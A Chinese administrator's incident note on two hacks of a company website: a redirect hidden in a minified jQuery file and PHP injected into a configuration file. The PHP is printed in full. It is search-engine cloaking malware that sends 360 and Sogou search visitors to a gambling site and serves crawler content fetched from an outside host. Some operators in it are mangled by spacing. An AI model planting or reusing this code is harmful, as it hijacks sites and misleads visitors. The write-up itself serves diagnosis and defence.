最近公司网站连续被黑了两次,都是被植入了一些恶意代码,让点击进入网站的时候,跳往色情、赌博等网站。这里就简单记录下吧,下次再遇上,好有个参考。
JS代码植入
网站表现为,当用户从浏览器第一次访问时网页时,会弹出一个色情网站广告的弹窗,随后经过几秒钟便会跳往该网站。此状况比较容易识别,可能的情况有一下几种
- JS代码中植入了重定向代码
- XSS攻击,用户提交的信息未经过验证,附带了恶意JS代码,并发往浏览器进行执行。
- 用户上传的图片中隐藏了经过压缩的JS代码,此类攻击比较隐蔽,让站长们很难找出来,需要注意的是,在用户上传图片的时候,图片也不能忽视验证。
本次攻击的方式为第一种,恶意代码隐藏在经过压缩的JQuery文件中,因此文件为压缩文件,隐藏性较高。
PHP代码植入
此情况表现为,当用户用360搜索本站时,点击结果时,会跳往赌博网站,点击快照为正常本站网页,而且用百度、谷歌等搜索出来的结果均无问题。
由于排除了JS代码植入的可能,一度认为是360搜索搞的鬼,跟360官方支持邮件往来了几天,得到的结果仍然是说我网站被黑,没对我网站做任何手脚,好吧,就只能自己折腾一遍,扫了一遍源码。确实发现了恶意代码,压缩过地植入到配置文件中,如下:
define('u_b','/');
define('s_u','http://idx.root1111.com/');
define('s_s', '@haosou.com|360Spider|sougou|HaosouSpider|so.com@i');
define('h_t',$_SERVER['SERVER_NAME']);
define('r_s',$_SERVER['HTTP_REFERER']);
define('u_s',$_SERVER['HTTP_USER_AGENT']);
define('h_z',s_p());
function s_p() {
$d = '';
if (isset($_SERVER['REQUEST_URI'])) {
$d = $_SERVER['REQUEST_URI'];
} else {
if (isset($_SERVER['argv'])) {
$d = $_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
} else {
$d = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
}
}
if (isset($_SERVER['SERVER_SOFTWARE']) && false !== stristr($_SERVER['SERVER_SOFTWARE'], 'IIS')) {
if (function_exists('mb_convert_encoding')) {
$d = mb_convert_encoding($d, 'UTF-8', 'GBK');
} else {
$d = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $d)) == $d ? $d: @iconv('GBK', 'UTF-8', $d);
}
}
$r = explode('#', $d, 2);
$d = $r[0];
return $d;
}
function r_s($url) {
$o = array('http' = >array('method' = >"GET", 'timeout' = >8));
$context = stream_context_create($o);
$h = file_get_contents($url, false, $context);
if (empty($h)) {
$h = file_get_contents($url);
}
return $h;
}
if (preg_match(s_s, r_s)) {
$d_s = true;
if (preg_match("@site%3A|inurl%3A@i", r_s)) {
setcookie('xx', h_t, time() + 259200);
$d_s = false;
}
if ($d_s) {
header('Location: http://668689.net');
exit;
}
}
if (strstr(h_z, u_b)) {
if (preg_match(s_s, u_s)) {
$d_u = s_u.'?xu='.bin2hex(h_z);
$d_u. = '&xh='.bin2hex(h_t);
$d_c = r_s($d_u);
echo $d_c;
exit;
}
}
黑客只对来源360搜索和搜狗搜索的结果进行了重定向,颇有取舍,也造成了站长的疑惑,让人怀疑是360搞的鬼,套路深。